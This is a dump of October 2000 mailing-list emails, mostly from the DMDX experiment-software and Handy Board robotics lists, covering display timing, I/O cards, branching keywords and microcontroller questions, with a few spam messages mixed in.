""image2"" ; >did it 240 times. >but the timing is not coming right. i want each image to be displayed 64ms >and no delay time. i used . >so, 64ms ""each frame duration"" * 480 ""for both images"" = 30720ms = 30sec. >i'm getting total time of 40 sec. >the program is displaying 10 frames per second not 16. >Any suggestions. Make it one item using the keyword, the way you have those images have to be read and prepared each time they are displayed and that takes time. As one item the ISI is rigidly controlled. 0 / %4 ""image1"" / %4 ""image2"" / ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 shaliczer ,XXXXXXXX@XXXX.XXXXXXX.XXX,"Fri, 13 Oct 2000 15:39:36 -0000",HigherEdWorld ," HigherEdWorld Institute Dear Professor, Here's a new service that can help you enrich your teaching. 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",0,0 Emmaline Dorazio ,DMDX@psy1.psych.arizona.edu,"Sat, 14 Oct 2000 08:01:43 -0700",Re: AzMBtEN new,"Hi V o I f A j G m R y A z X s A r N w A n X u C f I k A c L v I r S s V s A t L n I j U i M z http://www.acrostount.com ninet equivalen brazin ragandbonema brittl clutching torn papers in his hand. He was lying between the two murdered guards, one of them stripped to his shorts and shoes. ... How did he do it? He was the good guy, I cant think of anything else, mused Bourne, rising quickly, and reaching, pouncing on the map of the Spanish compound. He must have sent in his paid impostor with the rotten mocked-up papers, then ran in himself, the wounded Komitet officer at ",1,1 Meabadboy@aol.com,handyboard@media.mit.edu,"Sat, 14 Oct 2000 15:20:32 -0400",Sorry ~ and a question,"Sorry about that eirlier post fokes ~ but I was useing what was posted from Fred, that said for us to use this e-mail address: lugnet.robotics.handyboard@lugnet.com when posting to the Handy Board list or by way of the Lugnet web page. It seams that this is the correct e-mail address afterall: handyboard@media.mit.edu Anyway ~ I had a question and wanted to ask someone this: Is there a program that will allow you to write and upload Basic programs to the HB ~ something Sim. to that used by the Basic Stamp??? I am new to ""C"" ~ and I still haven't mastered it enough to do all the things that I can using Basic and the Basic Stamp. The Basic language I have used for 17 years now ~ and have used in projects with the PIC of the Basic Stamp many times for class projects. I took the time and expense to build a HB ~ and it works very well. Well done on the design Fred ~ and I love your work with the LEGOs mindstorm also ~ my son loves it ~ and so do I (40 years old ~ but always a kid at heart), but my problem is programming the HB to do all the things I want to do with it ~ Plus I have a robotics project that is coming up due for class very soon. Any and all help would be greatly appreciated !!!!!! Steve ",0,0 Todd Lehman ,handyboard@media.mit.edu,"Sat, 14 Oct 2000 20:08:33 +0000",Re: Sorry ~ and a question,"In lugnet.robotics.handyboard, Meabadboy@aol.com writes: > Sorry about that eirlier post fokes ~ but I was useing what was posted from > Fred, that said for us to use this e-mail address: > > lugnet.robotics.handyboard@lugnet.com > > when posting to the Handy Board list or by way of the Lugnet web page. > > It seams that this is the correct e-mail address afterall: > handyboard@media.mit.edu I think Fred is migrating away from the MIT mailing list. Both still work currently. Anyway, your message to lugnet.robotics.handyboard@lugnet.com was probably rejected because you hadn't filled out the news-posting setup form[1] yet to let the server know who you were, so it could recognize your 'From:' header as a valid one. --Todd http://news.lugnet.com/news/post/setup/ ",0,1 Gary Livick ,handyboard@media.mit.edu,"Sat, 14 Oct 2000 21:25:53 +0000",Re: Sorry ~ and a question,"Steve, You might try this. It is Karl Lunt's SBasic for the HC11. I haven't used it, but a lot of people swear by it. http://www.seanet.com/~karllunt/sbasic.htm Good Luck, Gary Livick > > > Is there a program that will allow you to write and upload Basic programs to > the HB ~ something Sim. to that used by the Basic Stamp??? > > I am new to ""C"" ~ and I still haven't mastered it enough to do all the things > that I can using Basic and the Basic Stamp. > > The Basic language I have used for 17 years now ~ and have used in projects > with the PIC of the Basic Stamp many times for class projects. > ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Sun, 15 Oct 2000 00:24:19 +0000",Re: Sorry ~ and a question,"In lugnet.robotics.handyboard, Gary Livick writes: >Steve, >You might try this. It is Karl Lunt's SBasic for the HC11. I haven't used it, >but a lot of people swear by it. > >http://www.seanet.com/~karllunt/sbasic.htm >Good Luck, > >Gary Livick >> >> Is there a program that will allow you to write and upload Basic programs to >> the HB ~ something Sim. to that used by the Basic Stamp??? >> >> I am new to ""C"" ~ and I still haven't mastered it enough to do all the things >> that I can using Basic and the Basic Stamp. >> >> The Basic language I have used for 17 years now ~ and have used in projects >> with the PIC of the Basic Stamp many times for class projects. I've used Karl's sbasic a LOT on a Marvin Green Botboard 2 with great results. Its Basic, plain and simple. Which means its pretty verbose, C is a bit cleaner, but to each their own. I have a Miniboard that I use the freeware ICC11 with and I love it, I have yet to find a W95 downloader that works with it so I have to live with DOS, but, what do you want for nothing? Anyway, Karl's sbasic should be the toy for you if you want Basic. Go for it. IMO, DLC ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 15 Oct 2000 20:51:49 -0700",[DMDX] audio visual sync with PIO12," It occurs to me (during evening meditation of course) that there are a couple of explanations for John Kline's trouble synching the output of the PIO12 with the audio. First is not likely to be the solution as I suspect it would produce the opposite effect they are measuring and that is that the sound system in his machine actually has 50ms of latency in it -- have you guys measured the latency of that sound card? Second is more likely to be the explanation and that is that you can't actually stick an output keyword in an audio frame (contrary to what I may have said a last week), at least not one that will be synched with the audio. Because audio frames generate no display they are very odd beasts as far as DMDX is concerned, they become more like place holders for commands to be given to the audio thread (which executes them at a later date) so PIO12 output requests in them might not be a good idea, a much better idea is to place the output instruction in a visual frame, even if you have to build a frame that has the same visual display in it as is already on the screen. Without delving into the code too deeply and taking time off from writing the branching code (which I'm not going to do) I can't get any more explicit. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 Graeme Watson ,handyboard@media.mit.edu,"Wed, 11 Oct 2000 16:15:13 +0000",Where can i get a kit to build?,"Hello. i want to build a handyboard but live in Scotland, U.K. Can anyone point me towards a location that i will let me buy a handy board in kit form. Cheers. ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 16:30:07 +0200",[DMDX] PIOCard-Images," Dear jonathan, 2 questions : 1- On the Keithley.com web page there is a PIO-12 and PIO-24 boards providing 24-bit TT/NMOS/CMOS compatible digital I/O lines. Undirectional, bidorectional. Brings out+-12V and +- 5V power from PC. Would you recommend such card ?? Sorry to ask you so trivial question, but we could found any distributor in Europe. By the way to you have some addresses of European's Distributors ?? Because the delivery delay is about 2 weeks or so I wanted to sure that this card will be the right one !! 2- How to fix the ti;e for loading images. Actually I have 122K and 241K images. Thus the interdelay frame is quite different depending on the size of the images. Any suggestions to accounter these delays ??? Thanks al lot Jean-Francois INSTITUTE FOR RESEARCH IN NEUROSCIENCE AND PSYCHIATRY Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 16:33:32 +0200",[DMDX] [Fwd: PIOCard-Images]," Dear jonathan, 2 questions the same as before except ISA or PCI ?? 1- On the Keithley.com web page there is a ISA PIO-12 and PIO-24 boards providing 24-bit TT/NMOS/CMOS compatible digital I/O lines. Undirectional, bidorectional. Brings out+-12V and +- 5V power from PC. There is also a PCI PIO-12 and PIO-24 boards Would you recommend such card ?? Sorry to ask you so trivial question, but we could found any distributor in Europe. By the way to you have some addresses of European's Distributors ?? Because the delivery delay is about 2 weeks or so I wanted to sure that this card will be the right one !! 2- How to fix the ti;e for loading images. Actually I have 122K and 241K images. Thus the interdelay frame is quite different depending on the size of the images. Any suggestions to accounter these delays ??? Thanks al lot Jean-Francois -- -- -- INSTITUTE FOR RESEARCH IN NEUROSCIENCE AND PSYCHIATRY -- -- | | Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr | | -- -- ",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Mon, 16 Oct 2000 10:41:52 -0400",[DMDX] Re: audio visual sync with PIO12,"Jonathan, Thanks for this. The sound latency thing occurred to me as well. We'll be taking an oscilloscope to the box when I return from San Diego next week. I'll keep you posted. As for placing the instruction in a visual frame, we've tried this At 08:51 PM 10/15/00 -0700, j.c.f. wrote: > > It occurs to me (during evening meditation of course) that there are a >couple of explanations for John Kline's trouble synching the output of the >PIO12 with the audio. First is not likely to be the solution as I suspect >it would produce the opposite effect they are measuring and that is that >the sound system in his machine actually has 50ms of latency in it -- have >you guys measured the latency of that sound card? Second is more likely to >be the explanation and that is that you can't actually stick an output >keyword in an audio frame (contrary to what I may have said a last week), >at least not one that will be synched with the audio. Because audio frames >generate no display they are very odd beasts as far as DMDX is concerned, >they become more like place holders for commands to be given to the audio >thread (which executes them at a later date) so PIO12 output requests in >them might not be a good idea, a much better idea is to place the output >instruction in a visual frame, even if you have to build a frame that has >the same visual display in it as is already on the screen. Without delving >into the code too deeply and taking time off from writing the branching >code (which I'm not going to do) I can't get any more explicit. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Why did the Roman Empire collapse? What's the Latin for office >automation? > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 10:54:00 -0400",[DMDX] Re: audio visual sync with PIO12,"Wow... this got clipped off. Sorry about that. I was going to say that we've tried this a few different ways.... I imagine that it is now a matter of tweaking until we get it right. In any event, the oscilloscope will be necessary to verify our code is doing what we want it to as well. thanks, John At 10:41 AM 10/16/00 -0400, you wrote: >Jonathan, > >Thanks for this. The sound latency thing occurred to me as well. We'll be >taking an oscilloscope to the box when I return from San Diego next week. >I'll keep you posted. > >As for placing the instruction in a visual frame, we've tried this > >At 08:51 PM 10/15/00 -0700, j.c.f. wrote: >> >> It occurs to me (during evening meditation of course) that there are a >>couple of explanations for John Kline's trouble synching the output of the >>PIO12 with the audio. First is not likely to be the solution as I suspect >>it would produce the opposite effect they are measuring and that is that >>the sound system in his machine actually has 50ms of latency in it -- have >>you guys measured the latency of that sound card? Second is more likely to >>be the explanation and that is that you can't actually stick an output >>keyword in an audio frame (contrary to what I may have said a last week), >>at least not one that will be synched with the audio. Because audio frames >>generate no display they are very odd beasts as far as DMDX is concerned, >>they become more like place holders for commands to be given to the audio >>thread (which executes them at a later date) so PIO12 output requests in >>them might not be a good idea, a much better idea is to place the output >>instruction in a visual frame, even if you have to build a frame that has >>the same visual display in it as is already on the screen. Without delving >>into the code too deeply and taking time off from writing the branching >>code (which I'm not going to do) I can't get any more explicit. >> >>-jonathan (j.c.f.) >> >> /""\\ >> \\ / >> X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL >> / \\ >> >> Why did the Roman Empire collapse? What's the Latin for office >>automation? >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> and Ken will then remove you from the list at his earliest >> convenience. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== >> > >_____________________________________________________________________________ >John P. Kline, Ph.D. Phone: 850-644-9363 >Assistant Professor Fax: 850-644-7739 >Department of Psychology >Florida State University Mailto:kline@psy.fsu.edu >Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu >___________________________________________________________________________ ___ > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 08:58:31 -0700",[DMDX] Re: PIOCard-Images,"At 04:30 PM 10/16/00 +0200, you wrote: > Dear jonathan, > >2 questions : > >1- On the Keithley.com web page there is a PIO-12 and PIO-24 boards >providing 24-bit TT/NMOS/CMOS > >compatible digital I/O lines. Undirectional, bidorectional. Brings >out+-12V and +- 5V power from PC. > >Would you recommend such card ?? Those are the ones DMDX will interface with. >Sorry to ask you so trivial question, but we could found any distributor >in Europe. > >By the way to you have some addresses of European's Distributors ?? Nope. >Because the delivery delay is about 2 weeks or so I wanted to sure > >that this card will be the right one !! Any interface card based on an 8255 would work, you'd just have to specify it's address in TimeDX's PIO test -- actually you usually have to do that anyway, the default address we use (and therefore TimeDX uses) is 310 vs. the 300 the cards come set at. >2- How to fix the time for loading images. Actually I have > >122K and 241K images. Thus the interdelay frame is quite different > >depending on the size of the images. Any suggestions to accounter > >these delays ??? Set a negative Delay parameter, it'll just take longer on the bigger items. Assuming you want a fixed ISI you'll have to set a D that's big enough for the biggest. Only other thing to do is to buy a faster hard disk. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 09:05:58 -0700",[DMDX] Re: [Fwd: PIOCard-Images],"At 04:33 PM 10/16/00 +0200, you wrote: > Dear jonathan, > >2 questions the same as before except ISA or PCI ?? > >1- On the Keithley.com web page there is a ISA PIO-12 and PIO-24 boards >providing 24-bit TT/NMOS/CMOS > >compatible digital I/O lines. Undirectional, bidorectional. Brings >out+-12V and +- 5V power from PC. > >There is also a PCI PIO-12 and PIO-24 boards > >Would you recommend such card ?? Depends how much money you've got and what computers are typically found in your lab. If you've got money to burn the PCI cards are more future proof -- there are many motherboards sold now without any ISA slots. If your machines are predominantly ISA and you don't have much money then an ISA version is fine, all our interface cards are ISA and I've yet to see a PCI PIO12. However I'm betting that machines five years from now won't have ISA slots and upgrades done then are going to require the more expensive PCI card, but maybe the price of PCI cards will down by then, it's certainly dropped quite a bit over the last two years. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 17:29:01 +0100",[DMDX] Re: PIOCard-Images,"At 16:30 16/10/00 +0200, you wrote: >Sorry to ask you so trivial question, but we could found any distributor >in Europe. > >By the way to you have some addresses of European's Distributors ?? The Keithley web site has a page of links to European distributors, including one in France I think http://www.keithley.com/sales/rep_lists/salesreps.html I've not bothered buying a PIO card for input though because I've found attaching a home-made button box to the joystick port on my sound card works fine. Now I'm starting to worry that I'm missing something...! Hope this helps, Gareth =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Web page: http://www-users.york.ac.uk/~mgg5/ =========================================================== ",0,1 Frangois Payen ,handyboard@media.mit.edu,"Mon, 16 Oct 2000 14:30:33 +0000",DC motor & Photoelectric sensor,"Hi, I have a slight problem with my handy board, and I wonder if someone could help me out. I have to use a photoelectric sensor and a DC motor on my handy board, and both have to work at the same time. The sensor requires a 10 volt supply voltage, so I use one of the motor outputs to power it. When the motor starts, or slows down for more torque (thereby drawing more current), it seems to affect the current supplied to the sensor, producing an effect similar to switching the sensor on and off very quickly. As I use the sensor to count object passing in front of it, it is a major problem to me. How can I solve this problem? Thanks, Frank Payen ",0,0 Greg Hayward ,"handyboard@media.mit.edu, ghayward@cisco.com","Mon, 16 Oct 2000 08:45:06 -0700",Problem with expansion board or code,"I have taken a program for the basic hadyboard analog port and converted it over to us the expasion board analog ports. The only problem is it only read the first port. I have tried it on three of my handyboard with the same result. I have recheck the lib_hb.lst file to make sure it included everthing and I beleive it does. I built all three board at the same time so there could be some bad components but port 16 works. So I believe it is the code. Any help would be greatly appreciated. void main() { int i,j,dark,dark1,light[7],t; i=16;/*used to get values from port 16 and above*/ while(!start_button() + !stop_button()) { printf(""press start button\\n""); while(!start_button()); while(start_button()); while(!stop_button()) { /*printf(""press stop button \\n"");*/ for(j=0;j<7;j++){ for(t=0;t<900;t++){} /*used for debugging values*/ light[j]=_exp_analog(i); printf(""%d %d %d \\n"",j,light[j],i); i=i+1; } i=16; dark=0; dark1=3; for(j=0;j<7;j++){ if(light[j]>dark){ dark=light[j]; dark1=j; } } printf(""%d %d %d\\n"",dark1,light[dark1],i); /*output the hiest value*/ } } } Greg",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 15:03:10 -0700",[DMDX] branching,"In building the counter code I've had to completely restructure all existing branching code (I knew there was a reason why I wasn't putting the counter stuff in there) so people will probably want to test existing branching scripts when I release the new version. I've also deprecated and (they're not in the help file anymore) and instead have added and to bring the various branching keywords into uniformity. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Oct 2000 15:05:31 -0700",[DMDX] Re: PIOCard-Images,"At 05:29 PM 10/16/00 +0100, you wrote: >I've not bothered buying a PIO card for input though because I've found >attaching a home-made button box to the joystick port on my sound card >works fine. Now I'm starting to worry that I'm missing something...! The home made joystick adaption is as good as the PIO12 as long as you are using the device to read it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Martin Ziegler ,handyboard@media.mit.edu,"Mon, 16 Oct 2000 21:43:07 +0000",sonar and overflow,"Hi I've got a HB with an Exp-Board and the 6500 Polaroid Sonar Ranging Module. I want to measure distances greater than about 2.7m. So I tried to count the overflow flag at 0x1025 bit 7. But my counter runs to fast, that means it count more than the overflow that occured (every 31.25ms), so my results arn't very usefull! Can anybody heelp my? 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All Rights Reserved.Designated trademarks and brands are the property of their respective owners. eBay and the eBay logo are trademarks of eBay Inc.",1,1 Richard Giuly ,handyboard@media.mit.edu,"Tue, 17 Oct 2000 19:05:51 +0000",Running 4.5 V motor,Is it okay to run a 4.5 V motor with the handy board's 9V motor driver as long as the pulse in only on <=50% of the time?,0,0 James Powell ,handyboard@media.mit.edu,"Tue, 17 Oct 2000 19:16:16 +0000",Re: Running 4.5 V motor,"In lugnet.robotics.handyboard, Richard Giuly writes: >Is it okay to run a 4.5 V motor with the handy board's 9V motor driver as long >as the pulse in only on <=50% of the time? If you mean a older lego 4.5V motor, then yes, it will work OK (I suppose). The max. voltage I ever ran a 4.5V battery at was 54V, and it seemed to survive OK. (Nom. 54V, I doubt more than 40 actual volts...I was launching airplanes with it...) Do so at your own risk however...don't come crying to me if it burns up. James P",0,0 ,,,,"with esmtp id m13lW7r-00013lC (Debian Smail-3.2.0.111 2000-Feb-17 #2); Tue, 17 Oct 2000 21:45:51 +0900 (JST) Received: from blimpo.internal.net (ppp05.ts3.Gloucester.visi.net [206.246.230.133]) by shako.sk.tsukuba.ac.jp (8.8.8/3.3W6) with ESMTP id VAA01611 for ; Tue, 17 Oct 2000 21:48:56 +0900 (JST) Received: from bmc by blimpo.internal.net with local (Exim 3.16 #1 (Debian))         id 13lVjn-0007WP-00; Tue, 17 Oct 2000 08:20:59 -0400 References: <14828.3428.51030.39207@turnbull.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <14828.3428.51030.39207@turnbull.sk.tsukuba.ac.jp>; from turnbull@sk.tsukuba.ac.jp on Tue, Oct 17, 2000 at 05:27:16PM +0900 From: Ben Collins Sender: Ben Collins To: ""Stephen J. Turnbull"" , 74945@bugs.debian.org Message-ID: <20001017082059.S19453@visi.net> Subject: Re: Bug#74945: db 1.85 dev support has gone missing Date: Tue, 17 Oct 2000 08:20:59 -0400 On Tue, Oct 17, 2000 at 05:27:16PM +0900, Stephen J. Turnbull wrote: > Package: libc6-dev > Version: 2.1.95-1 > > Starting with 2.1.94-1, I guess, Berkeley db 1.85 support has gone > away, although libdb1 is still provided in /lib (thank you!) > > At least the Coda filesystem still expects the 1.85 db format, and > since it (for whatever reason) replicates the database itself across > distributed servers on heterogeneous platforms, upgrading the database > to db2 or db3 format is not a simple operation for many users. > > I've linked /lib/libdb1.so -> /lib/libdb1-2.1.95.so for now. I guess > past practice put that link in /usr/lib. Please restore it, or maybe a > libdb1g package should be added to oldlibs. Then I'de have to put the headers back in, and then I have to worry about ppl using it, and keeping this hack in libc6 for even longer. Please test the libdb2 packages. They should be able to read db 1.85 databases. Either way, it isn't a bug in glibc, this change occured upstream, and I am only going to add the backward compat runtime support, not a compilation environment. -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \\ ` bcollins@debian.org -- bcollins@openldap.org -- bcollins@linux.com ' `---=========------=======-------------=-=-----=-===-======-------=--=---' -- University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Institute of Policy and Planning Sciences Tel/fax: +81 (298) 53-5091 _________________ _________________ _________________ _________________ What are those straight lines for? ""XEmacs rules."" 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DMDX had been presenting the save data box and duly saving data but recently for no apparent reason it stopped presenting the dialogue box though it was still saving data to disk, irrespective of whether the experiment had run to completion or not. I fixed the problem by just deleting the copy of DMDX being used and replacing it with another. I wonder if anyone has any idea as to why this problem might have come up? Thanks Robert Robert Davies __________________________________________________ PhD student r.a.i.davies@ncl.ac.uk (0191) 222 6528 Dept Speech, University of Newcastle upon Tyne, 2.19 King George VI Building, Queen Victoria Road, Newcastle NE1 7RU. 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DMDX had been presenting the >save data box and duly saving data but recently for no apparent >reason it stopped presenting the dialogue box though it was still saving >data to disk, >irrespective of whether the experiment had run to completion or not. > >I fixed the problem by just deleting the copy of DMDX being used and >replacing it with >another. I wonder if anyone has any idea as to why this problem might >have come up? The data that it's asking to save is the ascii response data, not the wav files, they are written as item file runs. Usual culprits for that kind of behavior are the hard disk becoming full (doesn't sound like you're explanation though if the wav files are still getting saved) or the files are being saved in the root and you've got one of those old disk formats that has a maximum number of files for the root and that number has been reached, or the item file gets changed (you wouldn't belive the number of people I've had that swear that they didn't change _anyhting_ but when the item file is examined it's ""oh, I did change that...""). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind"" ",0,0 PriceFile ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 18 Oct 2000 11:52:58 -0500","PriceFile.com! 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New keywords are: turn on branching diagnostics in .zil or .azk output set counter N1 to value N2 write counter value into output file increment counter N1 decrement counter N1 branch to item N3 if counter N1 less than or equal to N2 branch to item N3 if counter N1 greater than N2 decrement counter N if response correct decrement counter N if response wrong decrement counter N if response no response increment counter N if response correct increment counter N if response wrong increment counter N if response no response use counter N's value for frame duration indexed branch to item number with counter N's value changes default pan from -10000 (left channel) to N -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 18 Oct 2000 20:09:03 -0700",[DMDX] calls," I'm going to add another series of keywords to DMDX, the ability to call a function, gosubs, subroutines, whatever you want to all them (I'm sticking to call). Given the way I've restructured the branching code and the way it lends itself to calling functions and a couple of paradigms needed around here (custom feedback routines and automatic pausing for continuous jobs when there's no response) and the elegance of a simple call ability to solve them I'm going to stick calls in there. It'll just be one level of calling though, I don't want to have to deal with recursive item files screwing up -- if someone really needs multiple levels it can be added later. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind"" ",0,0 Valorie Banvelos ,DMDX@psy1.psych.arizona.edu,"Wed, 18 Oct 2000 17:54:51 -0700",Re: AcMBtEN news,"Hi, C A V P V L X I m I r A e a A b A o L v n L i G z I i a I e R a U t x S n A c M ra http://www.essanears.com could not be guessed. To say that Bilbos breath was taken away is no description at all. There are no words left to express his staggerment, since Men changed the language that they learned of elves in the days when all the world was wonderful. Bilbo had heard tell and sing of dragon-hoards before, but the splendour, the lust, the glory of such treasure had never yet come home to him. His heart was filled and ",1,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 13:58:47 +0200",[DMDX] 2wordsperline,"Dear all, As a matter of fact it should be trivial but I am stuck on the following : I want to display a couple a words (categorial task) on the same line with a constant space between the last letter of the first word and the first letter of the second word. I wrote the following code (from tutorial) +001 *""lieu""/ "" ""/ "" cave""/; 250 +002 *""fleur""/ "" ""/ "" jonquille""/; 250 and so on DMDX is keeping displaying the first for 4000ms and overlaying the second !!! I tried also the following +001 *""lieu cave""/; 250 it is working but because the length of the couples are not constant each target is moving non the center line. I also tried using table into Word. This is not supported by DMDX. Any suggestions using word rather than going making .bmp files ???? Thanks Jean-Francois Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 11:36:48 +0100",[DMDX] dmdx,"You can use the exclamation mark to stop DMDX over writing previous frames. +1 ""blue"" / ! * ""blue_square"" /; This would put the word blue centre screen 6 lines below the centre and not erase it when it puts a bitmap centre screen above it. However I think for you need to use the x and y coordinates in addition to the question mark to put your words at specific locations on the screen. See my tutorial, PARADIGM 3, PAIRED VISUAL LEXICAL DECISION to find out how to use the coordinates. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 12:15:16 +0100",[DMDX] Re: 2wordsperline,"Matt's solution is better, I'd use that. Good point about the fonts. Courier has serifs so it may be necessary to use the oversize parameter to make sure you don't get stray non erased pixels left on the screen. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 18:07:40 +0200",[DMDX] FONT-Pb,"Dear all, Thanks for the help. I did not check this important feature of Monospace Font. Actually, because Courier-20 looked terrible, I downloaded the Font Lucida Console which look much better. 2 questions - do you other nice font ? Which one are the favourite of DMDX users ? - does anyone experienced having 2 words on 2 line rather on one line ? Would it make any difference in the decision and the physiological involvement (FMRI) ?? Enjoy Jean-Francois Email: jnedelec@forenap.asso.fr ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 15:41:31 -0700",[DMDX] 2.2.01,"So DMDX 2.2.01 is up on the web page, basically for every branch type there is a call variant of it. New keywords are: Unconditional Call Exit Called subroutine Exit Called subroutine Call if Counter Lower Call if Counter Lower Call if Counter Greater Call if Counter Greater Call If Correct Call If Correct Call If Error Rate Greater Call If Error Rate Greater Call If Error Rate Lower Call If Error Rate Lower Call If No Response Call If No Response Call If Random Number Lower Call If Random Number Lower Call If Wrong Call If Wrong Indexed Call on Counter N's value Indexed Call on Counter N's value Multi-Way Call Multi-Way Call Also, the help file is complete, last one didn't have everything new and the alphabetical lists weren't updated -- now they are. The call keywords allow things like custom acoustic feedback and pausing during continuous running on no responses: F80 0 ""Acoustic Feedback Example"" ; 10 d2 c; 0 d20 ""correct"" ; 20 d2 c; 0 d20 